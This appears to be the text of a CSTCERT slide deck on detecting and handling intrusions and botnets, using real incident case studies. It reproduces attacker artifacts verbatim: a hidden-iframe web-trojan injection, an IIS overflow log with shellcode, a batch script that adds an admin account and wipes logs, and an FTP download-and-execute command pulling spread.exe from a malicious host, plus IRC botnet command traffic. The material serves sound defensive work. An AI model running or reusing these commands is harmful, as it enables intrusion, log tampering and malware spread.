黑客攻击与僵尸网络的发现及处理

Size: px

Start display at page:

Download "黑客攻击与僵尸网络的发现及处理"

役敬卞
5 years ago
Views:

2 网络中的安全威胁网内威胁蠕虫病毒僵尸主机网外威胁单机蠕虫病毒 ( 网页木马邮件病毒 ) 黑客扫描攻击 ( 黑客木马网页木马等等 ) 僵尸网络服务器黑客扫描攻击僵尸网络网络应用服务攻击 ( 网站数据库 )

3 网络中的安全威胁特洛伊木马黑客攻击后门隐蔽通道计算机病毒信息丢失篡改销毁网络拒绝服务攻击逻辑炸弹蠕虫内部外部泄密

4 黑客入侵技术的发展高半开放隐蔽扫描工具入侵者水平攻击手法包欺骗嗅探擦除痕迹后门破坏审计系统会话劫持控制台入侵利用已知的漏洞密码破解可自动复制的代码密码猜测拒绝服务 DDOS 攻击 www 攻击自动探测扫描 GUI 远程控制检测网络管理攻击者

5 黑客攻击的常用方法口令破解木马缓冲区溢出及攻击系统扫描主机开放端口的扫描主机漏洞应用服务漏洞

6 黑客攻击的安全事件某所报告 web 服务器运行缓慢, 主机上有大量可疑文件主机情况 : 主机操作系统 :windows 2000 server SP4 主机内存 256M MS-SQL 2000 sp3( 已停用 ) 主机上挂载了 9 个 http 网站 administrator 密码被改, 曾出现过非管理员人工重启现象系统被添加 :TsInternetUser 用户名存在大量可疑文件 ( 后面会详细说 )

7 主机上可疑文件 (1) 文件名路径功能 diy.asp c:\ asp 的木马, 可以通过 www 服务远程查看磁盘文件, 执行命令, 连接本地数据库等 3389.rar admin.exe admin.rar c:\winnt\sp4\ d:\swgk\lnm\website\download\ c:\winnt\sp4\ d:\swgk\lnm\website\download\ windows 远程管理的客户端, 可以登陆其他的 winodows 机器灰鸽子木马的服务端程序, 通过反向连接实现远程控制本文 3.2 有详细的介绍 adsl.exe c:\winnt\sp4\ 查看局域网中拨号用户的信息, 偷窃拨号口令 shanlu.exe c:\winnt\sp4\ d:\swgk\lnm\website\download\ 多功能的扫描和攻击工具, 功能包括 : 端口扫描, 弱口令探测, 暴力猜解密码等 ssport.exe c:\winnt\sp4\ 简单的端口扫描器 SQLTools.exe c:\winnt\sp4\ 简单的 sql server 客户端软件 red.exe c:\winnt\sp4\ rar 的自解压执行文件, 包含 radmin 远程控制的服务端程序, 成功执行会绑定 tcp 5, 等待远程控制请求 sc32.exe c:\winnt\sp4\sockscapv2 代理服务器工具, 可以使其他程序通过特定的代理实现通信

8 主机上可疑文件 (2) NT-scanner.exe c:\winnt\sp4\ NT-scanner10 扫描器, 包括 NT 弱口令,SQL 弱口令,port,IIS 漏洞 Domain3.5.exe d:\swgk\lnm\website\download\ Domain3.5 sql 注入综合利用工具, 1.exe d:\swgk\lnm\website\download\ 简单的端口扫描工具 13.gif d:\swgk\lnm\website\download\ 文件扩展名更改为 gif 的 asp 木马文件 3389.rar d:\swgk\lnm\website\download\ windows 远程管理的客户端, 可以登陆其他的 winodows 机器 aa.exe d:\swgk\lnm\website\ uploadfiles\asp\2005\7\30 从用户登陆的 WINLOGNO 进程中提取密码的程序, 可以查看登陆的用户的口令 psulist.exe d:\swgk\lnm\website\ uploadfiles\asp\2005\7\30 以 system 权限查看进程的工具, 配合 aa.exe 使用 ha.exe he.exe d:\swgk\lnm\website\ uploadfiles\asp\2005\7\30 开启终端服务的程序, 会导致 windows 2000 重启 show.exe d:\swgk\lnm\website\ uploadfiles\asp\2005\7\30 利用 serv-u 程序漏洞的本地权限提升工具 asp asp a.asp d:\swgk\lnm\website\ uploadfiles\asp\2005\7\30 asp 的木马, asp,a.asp 是 c/s 模式的木马 asp asp d:\swgk\lnm\website\ uploadfiles\asp\2005\8\26 asp 的木马, asp d:\swgk\lnm\website\ uploadfiles\asp\2005\11\6 asp 的木马,c/s 模式的木马 H_Client.exe C:\Documents and Settings\ 桌面 \ 灰鸽子灰鸽子木马的客户端程序

$查看历史痕迹 -history C:\My documents and$

9 查看历史痕迹 -history C:\My documents and Setting\TsInternetUser\Local Settings\History

10 SQL 注入

修改英文主页 </html><iframe src="http://home.chudian.com/wzxqy/kg/wm.

11 修改英文主页 </html><iframe src=" name="zhu" width="0" height="0" frameborder="0"></html> </html><iframe src=" width="0" height="0" border="0"></iframe> 网上常用的工具 : 阿福免杀网页木马制作工具

12 影子 Radmin 默认监听 4899, 修改为端口 5 Red.exe /uninstall /install /s start u.bat off net stop r_server

13 灰鸽子打包程序 -admin.exe 伪装为微软的服务安装名为 windows update 的进程, 迷惑用户执行程序名称为 :Internet Explorer.exe, 放置在 c:\windows 下调用正常 IE 进程, 以防用户发觉连接远程默认端口 8000

admin.exe 执行后的网络行为 1- 本地主机向远程 DNS 主机 61.*.*.125 查询域名 169*.huigezi.org 2- 远程 DNS 返回该域名 IP222.*.*.244 3- 本地主机查询本地 DNS 服务器灰鸽子的 IP 列表更新镜像下载地址的域名, 某虚拟主机 virtualhost.*.com.cn 4- 得到该域名 IP 地址 211.*.*.27 5 6 7- 本地主机与远程虚拟主机进行 TCP 三次握手 8 9 15 16 17 19- 本地主机从远程虚拟主机下载灰鸽子 IP 列表镜像文件 cuiyuge.

14 admin.exe 执行后的网络行为 1- 本地主机向远程 DNS 主机 61.*.*.125 查询域名 169*.huigezi.org 2- 远程 DNS 返回该域名 IP222.*.* 本地主机查询本地 DNS 服务器灰鸽子的 IP 列表更新镜像下载地址的域名, 某虚拟主机 virtualhost.*.com.cn 4- 得到该域名 IP 地址 211.*.* 本地主机与远程虚拟主机进行 TCP 三次握手本地主机从远程虚拟主机下载灰鸽子 IP 列表镜像文件 cuiyuge.jpg, 并下载成功, 断开连接与之前设定的 169*.huigezi.org 主机首先进行上线连接, 连接该主机的 8000 端口, 但未连接成功与从虚拟主机上下载下来的 IP 列表镜像中所记录的 IP 进行上线连接, 远程端口 8000, 但远程主机端口未开放, 因此本地主机进行重试请求连接 25- 在请求 IP 列表镜像地址的连接无效后, 在此重试请求上线连接 169*.huigezi.org

15 Windows NT/2000 自动攻击探测机 -shanlu.exe 扫描速度快可根据各种应用来进行攻击渗透通常用来扫弱口令主机 SQL 漏洞 : sa 帐号密码为空主机 :219.*.*.183

16 由 shanlu.exe 扫描 IIS 产生的日志 :32: *.* *.**.5 80 GET /NULL.IDA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC%u0ae b%ub890%udacf%u77ee%u0000%u0000%u838b%u0094%u0000%u408b%u0564%u0150%u00 00%ue0ff%u9090=x& 悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙? 悙恄? 悙愯? 峯饙 }- 悙悑鱢窰 3 蒮嬋礄 2 莫恸 $ 鞜櫃 e 狿 (? 絢 7_ 辠檘敐櫃 q 潤檘讻櫃跍櫃 q 葲櫃 q 綒櫃逌櫃 q' 槞? 譁櫃逌櫃 q 鏇櫃覝櫃 q 菣櫃 q 櫃?a 欗 y 覝櫃蒮 + 敓櫃逌櫃蒮 + 敓櫃稖櫃蒮 +- 湙? 櫃蒮 +- 湙? 櫃櫃? 譁櫃蒮 +\ 湙? 櫃櫃蒮 +O 湙橺覝櫃髾髝殬櫃? 覝櫃蒮 + 殶櫃 Z 敁勿鼢碡祉鲐眄蚬汐摂擇 + 櫃檉 +& 湙? 稖櫃 q_ 櫃?af?/ 櫃?a 欗?+++ 髾櫃神櫇櫃跍櫃? 稖櫃蒮 +/ 湙?a 櫀櫃欝? 櫃? 跍櫃? 覝櫃蒮 + 殶櫃 af 睚 ++++r 髾駲潤? 跍櫃? 覝櫃蒮 + 憻櫃 a 欗?+++af 憩 ++++ 狟? 櫃噬跍櫃? 櫃蒮 +5 湙?a 欗?+++p 瞗 ff 猋裐猋 Z 狟? 經櫃湿 B 适噬 f++ 湙?a 欗?+++ 經櫃 Z!ffffZ 櫃櫃跍櫃 ^ 欇櫃櫳 f+ 䴗櫃跍櫃獪櫃谫讠疁櫃凇! 槝櫃诘适猋缮少裳缮鞜櫃瑟 Y 蒮 + 顪櫃獪櫃蒮 +- 湙? 疁櫃蒮 +- 湙? 跍櫃橺駲潤欝賔 +9 湙橺猋? w 洐橿檿櫃櫳獪櫃? 稖櫃蒮 + 艤櫃猋? w 洐櫳櫃? 疁櫃蒮 + 艤櫃 Z 櫃櫃櫃櫃槞櫃? 笟櫃 ^ 殙櫃櫴蹪櫃噬 f+e 湙?Aa 櫫錏 ZZ 墮櫃髪鰵櫃蒮 + 綗櫃鰵櫃蒮 + 櫃 a 欗?+++ 闀 ge4a 欗?+++ 櫏擁 i 韚? 韖 Zn4 橺櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃跍櫃审沠 + 煓欝欝橌沠 +p 湙?af? 櫃? 逌櫃櫃 ^ 殬櫃欝澥鬂駀 f 櫃蒮 + 櫃 a 欖?+++ 鰺櫃轁櫃锜櫃邼櫃 af 鞏 ++++q 砯 ff 邼櫃逌櫃髩蹪櫃噬 f+i 湙?a 欖?+++ 鬁逌櫃蒮 +l 湙?a 欖?+++ 逌櫃 Z 猋 Z 洐欪櫃櫃櫃櫃櫃櫃! 櫃 h?? 欗?+++ 裷 ha 辚歫镝歫绻歜讔狵衔? b, 翢櫃狿 ( 瀓 > 頃 ++++ 榔 ^ 澺 {F 榔?S 呓歓 Hx 歑狿? 邊歓 Xx 洑 X 櫄 Z 驘櫃 Z 覠櫃 q 蓹櫃䶮櫃 Z $ 蕼櫃 ^ 蝢稒櫃粕玒狿 nhek7? 韼 ++++ 晌 Fq 剻櫃? 灹揶揶 r@? 霺 Z? 䶮櫃蒮娐 Z?$ 驘櫃噬 f 幤 Z 櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃櫃臆俗苷欄朦痖鼨撄硎眸腠扉绪鲐欄朦膂觋貦邗鲫鼨牲坐酎痖鼨搋鳆仵貊鷻坞痦瘐鼨它唣觞櫴觞櫷麴鼬睃呻鳅隀茚痦婉朦櫃问欔鳅螯頇鼾欟痍睃鳈轫欔龣朦欪貊挈牿櫸守薯盱闄眈鲫眵鼨眈鲫睇圜鼨挈黻鳅蝣轫櫃櫿鲽瘥滕豚貦撄砩膂朦觋欔? 瞑? 顧?{ 渃 md.exe$ 200

17 类似的 3389.bat echo off net user TsInternetUser <--TsInternetUser 是 win2k 默认用户, 我们更改密码 net localgroup administrators TsInternetUser /add <- 添加到超级用户组 -> net use \\ \ipc$ "12345" /user:"tsinternetuser" <- 连接登陆, 删除日志 -> cleaniislog.exe -s \\ l "application" -C cleaniislog.exe -s \\ l "system" -C cleaniislog.exe -s \\ l "security" -C net stop w3svc <- 停掉 IIS, 删除记录 -> del c:\winnt\system32\logfiles\*.*/s /f /q <- 先删 C 盘下的日志 -> del d:\winnt\system32\logfiles\*.*/s /f /q <- 再删 D 盘下的日志 -> net START w3svc <- 启动 IIS, 恢复 WEB 正常工作 -> sss -install <- 安装 socks5 代理 -> sss -config starttype 2 <- 系统启动后自动运行 -> sss -config port 1080 <- 在 1080 端口服务, 也可以更换其它端口 -> net start skserver <- 启动服务 -> echo [Components] > %systemroot%\sql <- 安装 3389 终端 -> echo TSEnable = on >> %systemroot%\sql sysocmgr /i:%systemroot%\inf\sysoc.inf /u:%systemroot%\sql /q

18 asp 木马 - 程序网络工作组 ASPAdmin( 绝对路径版 )-(94427.asp)

21 asp 木马 - 海阳顶端网 ASP 木马 2006α

僵尸网络 (Botnet) 僵尸网络, 又称波特网, 是英语单词 BOTNET 的翻译语, 国际上通常将集中控制的数量庞大的受害电脑群称为 BOTNET 攻击者利用互联网上的计算机秘密建立的可被集中控制的计算机群 2004 年 7 月英国路透社的报导, 有一个由青少年人组成的新兴行业正盛行 : 出租可由远程恶意程序任意摆布的计算机, 这些受控制的计算机称之为僵尸 (Zombie) 计算机

27 僵尸网络 (Botnet) 僵尸网络, 又称波特网, 是英语单词 BOTNET 的翻译语, 国际上通常将集中控制的数量庞大的受害电脑群称为 BOTNET 攻击者利用互联网上的计算机秘密建立的可被集中控制的计算机群 2004 年 7 月英国路透社的报导, 有一个由青少年人组成的新兴行业正盛行 : 出租可由远程恶意程序任意摆布的计算机, 这些受控制的计算机称之为僵尸 (Zombie) 计算机数目小自 10 部大到 3 万部, 只要买主愿意付钱, 它们可以利用这些僵尸网络 (BotNet), 进行垃圾邮件散播网络诈欺 (phishing) 散播病毒甚至拒绝服务攻击, 代价仅需每小时 100 美元 2005 年, 荷兰三名少年攻击了全球的 150 万台电脑, 并组建僵尸网络窃取银行帐号信息, 并对公司进行拒绝服务攻击的敲诈 2004 年 10 月, 唐山唐某利用僵尸网络,DDoS 北京一家音乐网站, 控制节点超过 6 万

28 IRC Bot IRC(Internet Relay chat), 专门的网络聊天室应用协议 CS 模式多服务器间可建立信息共享 Bot 可以根据接收到的控制命令执行预定义的功能, 这些功能包括 : 发动 DOS 攻击浏览系统信息终止进程攻击 IRC 频道或邮箱上传下载程序代理或 SMTP 服务器升级 BOT 卸载 BOT

29 Bot 的危害分布式拒绝服务攻击 2004 年 6 月份 -Akamai 关键域名服务器被僵尸网络 DDoS 在线讹诈发送垃圾邮件抓取电子邮件地址打开 Open Relay 服务发送垃圾邮件从僵尸主机上收集敏感信息在线银行账号 / 密码, 信用卡信息, 注册码, 在线游戏账号 / 装备网络资源的消耗扫描探测产生的网络资源消耗广告点击率网上投票

30 B 单位僵尸主机传播扫描报文...SMBr...S b..PC NETWORK PROGRAM 1.0..LANMAN1.0..Windows for Workgroups 3.1a..LM1.2X002..LANMAN2.1..NT LM U.SMBr...S z ~.O.._...SMBs ~...~.`..z..+...n0..j...f#..b...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA h...`h...w...cmd /c echo open spreadem.nowslate1703.info 21 >appmr.dll &echo user spread baby >>appmr.dll &echo binary >>appmr.dll &echo get >>appmr.dll &echo spread.exe >>appmr.dll &echo spread.exe >>appmr.dll &echo bye >>appmr.dll &ftp.exe -n - s:appmr.dll &del appmr.dll &spread.exe.bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB#...#..9...CCCC...SVWf...6h...c...F...v.hk.+...F..?...v.h...L...1.h...S...V.v...^1.PPPSPP.V..F.f..._^[..`.#...D$..X.C<..C(...c(...$...P1..1.d.2d."1...B.B 1...t.C...~.d..Xa.`....F...x...9.t...9Z.t..R...J..C..a...@..X...@..F..`.l$(.E<.T.x...J..Z...8I t......; $$u..z$..f..k.z...d$.a...ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC#.....DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD...#.SMBs

$B 单位僵尸主机传播脚本执行命令 C:\Documents and Settings\jackie>cmd /c echo open spreadem.nowslate1703.info 21 >appmr.dll &echo user spread baby >>appmr.dll &echo binary >>appmr.dll &echo get >>appmr.$

31 B 单位僵尸主机传播脚本执行命令 C:\Documents and Settings\jackie>cmd /c echo open spreadem.nowslate1703.info 21 >appmr.dll &echo user spread baby >>appmr.dll &echo binary >>appmr.dll &echo get >>appmr.dll &echo spread.exe >>appmr.dll &echo spread.exe >>appmr.dll &echo bye >>appmr.dll &ftp.exe -n -s:appmr.dll &del appmr.dll &spread.exe ftp> open spreadem.nowslate1703.info 21 Connected to spreadem.nowslate1703.info Welcome to Pure-FTPd [TLS] You are user number 73 of 200 allowed. 220-Local time is now 00:15. Server port: IPv6 connections are also welcome on this server. 220 You will be disconnected after 2 minutes of inactivity. ftp> user spread baby 331 User spread OK. Password required 230-User spread has group access to: spread 230 OK. Current restricted directory is / ftp> binary 200 TYPE is now 8-bit binary ftp> get Remote file spread.exe Local file spread.exe 200 PORT command successful 150-Connecting to port kbytes to download 226-File successfully transferred seconds (measured here), Kbytes per second ftp: bytes received in 1.50Seconds 56.70Kbytes/sec. ftp> bye 221-Goodbye. You uploaded 0 and downloaded 84 kbytes. 221 Logout. C:\Documents and Settings\jackie>

32 B 单位僵尸主机的通信内容 ( 有时间可以演示具体网络行为 ) NICK CHN USER xkhfhtb 0 0 :CHN :MySQL 001 CHN :MySQL CHN !~xkhfhtb@*.**.92 :MySQL 376 CHN : :CHN MODE CHN :+i USERHOST CHN MODE CHN x+i JOIN ##ploit,##ploit2 he.he :MySQL 302 CHN :CHN =+~xkhfhtb@*.**.92 :CHN !~xkhfhtb@*.**.92 JOIN :##ploit :MySQL 332 CHN ##ploit :hey :MySQL 333 CHN ##ploit 10:30 PM :MySQL 366 CHN ##ploit :End of /NAMES list. :CHN !~xkhfhtb@*.**.92 JOIN :##ploit2 :MySQL 332 CHN ##ploit2 :.advscan asn1smb r :MySQL 333 CHN ##ploit2 10:30 PM :MySQL 366 CHN ##ploit2 :End of /NAMES list. PRIVMSG ##ploit2 :[SCAN]: Random Port Scan started on x.x:445 with a delay of 5 seconds for 0 minutes using 50 threads. PING :MySQL PONG :MySQL JOIN ##ploit,##ploit2 he.he

33 B 单位某主机僵尸程序扫描图 (100 节点 )

34 B 单位僵尸主机的对外扫描情况

35 D 单位僵尸主机的通信内容 NICK [00 CHN ] USER XP-3878 * 0 :ABCDEF :windows1.microsoft.com 001 [00 CHN ] : :windows1.microsoft.com 002 [00 CHN ] : :windows1.microsoft.com 003 [00 CHN ] : :windows1.microsoft.com 004 [00 CHN ] : :windows1.microsoft.com 005 [00 CHN ] : :windows1.microsoft.com 005 [00 CHN ] : :windows1.microsoft.com 422 [00 CHN ] : MODE [00 CHN ] :windows1.microsoft.com 221 [00 CHN ] +isrt JOIN #relocation MODE [00 CHN ] JOIN #relocation :windows1.microsoft.com 332 [00 CHN ] #relocation :.asc -S -s.scanall b -r -e.if nick *USA*.wkse _b _r _e.else nick *USA*.wkso _b _r _e.runonme c:\dt.exe 1 -r :windows1.microsoft.com 333 [00 CHN ] #relocation htpasswd :windows1.microsoft.com 221 [00 CHN ] +isrt MODE [00 CHN ] JOIN #relocation :windows1.microsoft.com 221 [00 CHN ] +isrt PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:445 with a delay of 5 seconds for 0 minutes using 20 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:139 with a delay of 5 seconds for 0 minutes using 20 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:445 with a delay of 5 seconds for 0 minutes using 20 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:135 with a delay of 5 seconds for 0 minutes using 20 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:445 with a delay of 5 seconds for 0 minutes using 20 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:135 with a delay of 5 seconds for 0 minutes using 75 threads. PRIVMSG #relocation :[S]CAN: Random Port Scan started on *.*x.x:445 with a delay of 5 seconds for 0 minutes using 75 threads. PRIVMSG #relocation :[D]OWNLOAD: File download: 39.5KB to: 39.5KB/sec. PRIVMSG #relocation :[D]OWNLOAD: Created process: "c:\dt.exe", PID: <1496> PING :windows1.microsoft.com PONG windows1.microsoft.com ( 其中的 windows1.microsoft.com 仅为黑客定义的服务器返回信息, 与微软公司无关 )

36 D 单位僵尸主机网络行为 GET /bundle/smartload.asp?a=a_n_u&id=237 HTTP/1.0 Accept: */* Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {36593C8F-239F-E4C E886496E0}) Host: promo.dollarrevenue.com Connection: Keep-Alive HTTP/ OK Server: Microsoft-IIS/5.0 Date: Mon, 29 May :28:51 GMT Connection: keep-alive Connection: Keep-Alive Content-Length: 709 Content-Type: text/html Set-Cookie: ASPSESSIONIDQCTRRACC=KJHMKIKDKGPFHMLNICGFOELC; path=/ Cache-control: private NDI6ODoxNg.exe,c:\windows\MTE3NDI6ODoxNg.exe,,, me23.exe,c:\newname23.exe,,, xe,,, xe/drsmartload45a.exe,c:\windows\drsmartload45a.exe,,, sterexe/drsmartload46a.exe,c:\windows\drsmartload46a.exe,,, bmasterexe/drsmartload849a.exe,c:\windows\drsmartload849a.exe,,,

37 安全事件的发现与处理判断是僵尸还是蠕虫? 事件的发现与处理日常的网络行为监控查看对外端口扫描情况锁定问题 IP 查看主机网络行为查看启动项实时进程及服务删除可疑程序建议用户口令加强及时更新补丁良好的上网习惯 ( 网页邮件等 ) 正版杀毒软件及防火墙定期查毒相关事件上报给上级网络管理部门

38 关于 CSTCERT 中国科技网网络安全应急小组, 简称 CSTCERT, 是中国科技网的信息安全应急响应组织 CSTCERT 在中国科学院计算机网络信息中心和相关主管部门的领导下, 依托中国科技网, 主要为中国科技网及用户单位提供网络安全快速响应和技术支持服务, 并从事信息安全相关领域的研究和开发 Tel: ( 工作日 8:00-17:00) ( 非工作日值班电话 ) cert@cstnet.cn

39 谢谢! Questions?

Symantec™ Sygate Enterprise Protection 防护代理安装使用指南

Symantec™ Sygate Enterprise Protection 防护代理安装使用指南 Symantec Sygate Enterprise Protection 防护代理安装使用指南 5.1 版版权信息 Copyright 2005 Symantec Corporation. 2005 年 Symantec Corporation 版权所有 All rights reserved. 保留所有权利 Symantec Symantec 徽标 Sygate